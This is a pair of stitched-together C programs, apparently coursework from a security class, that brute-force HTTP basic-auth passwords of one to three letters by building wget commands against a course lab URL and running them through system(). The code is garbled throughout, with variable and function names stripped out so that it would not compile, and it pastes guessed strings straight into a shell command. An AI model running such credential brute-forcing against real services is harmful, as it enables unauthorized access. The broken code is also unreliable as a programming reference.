#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int , end;
	int             i, j, k, p;
	char            [52];
	char            tempch = 'a';
	char            password[3] = {'\0', '\0', '\0'};
	int             check, stop = 1;
	    
	float   total_time; 	
	int number; 
	 = time();	
 	

	
	for (i = 0; i < 26; i++) {
		[i] = tempch;
		tempch++;

	}
	tempch = 'A';
	for (i = 26; i < 52; i++) {
		[i] = tempch;
		tempch++;
	}

	
	if (stop == 1) {
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time(); 
				total_time = (end-)/1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

				exit(0);
				stop = 0;
			}
		}
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				check = SysCall(password);
				if (check == 0) {
					
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

					exit(0);
					stop = 0;
				}
			}
		}


		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				for (p = 0; p < 52; p++) {
					password[2] = [p];
					check = SysCall(password);
					if (check == 0) {
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

						stop = 0;
						exit(0);
						
					}
				}
			}
		}


	}
	

	
	return (EXIT_SUCCESS);
}
int 
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget  --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);
	
	printf("%s\t",password);
	fflush(stdout);
	rettype = system();

	if (rettype == 0) {
		printf("Successfully retrieved password: \'%s\'\n");
		return 0;
	}
	strcpy(, "");
}


#include "stdio.h"
#include "string.h"

#include "stdlib.h"


void passwordcheck(char pass[],int tt,int not);
()
{
int i,j,k,t,tt,not;
char cp[3];

char [4];

char a[]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};

tt=time(&(t));
not=0;
for (i=0;i<=51;i++)
{
	
	cp[0]=a[i];
	sprintf(,"%c",cp[0]);
	passwordcheck(,tt,not);
	for (j=0;j<=51;j++)
	{
		
		
		cp[0]=a[i];
		cp[1]=a[j];
		sprintf(,"%c%c",cp[0],cp[1]);
		passwordcheck(,tt,not);
		for(k=0;k<=51;k++)
		{
			
							
			cp[0]=a[i];
			cp[1]=a[j];
		
			cp[2]=a[k];
			
			sprintf(,"%c%c%c",cp[0],cp[1],cp[2]);
			
			passwordcheck(,tt,not);
			
					
		}
		
				
		
	}
}

}



void passwordcheck(char pass[],int tt,int not)
{
char url[400];
int num,ti,tti;

			
strcpy(url,"wget --http-user= --http-passwd=");
			strcat(url,pass);
			
			strcat(url," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); 
			printf("The password combination is :%s",pass);
			fflush(stdout);	
			num=system(url);
			not++;
			if (num==0)
			{
				
				time(&(ti));
				tti=ti-tti;
				printf("The actual password is :%s\n",pass);
				printf("The number of attempts   crack the password is :%d",not);
				printf("The time_var taken  find the password by brute force attack is :%d\n seconds",tti);
				exit(1);
				
				
			}
						
			else
			{
			strcpy(pass,"");
			}
			


}
 


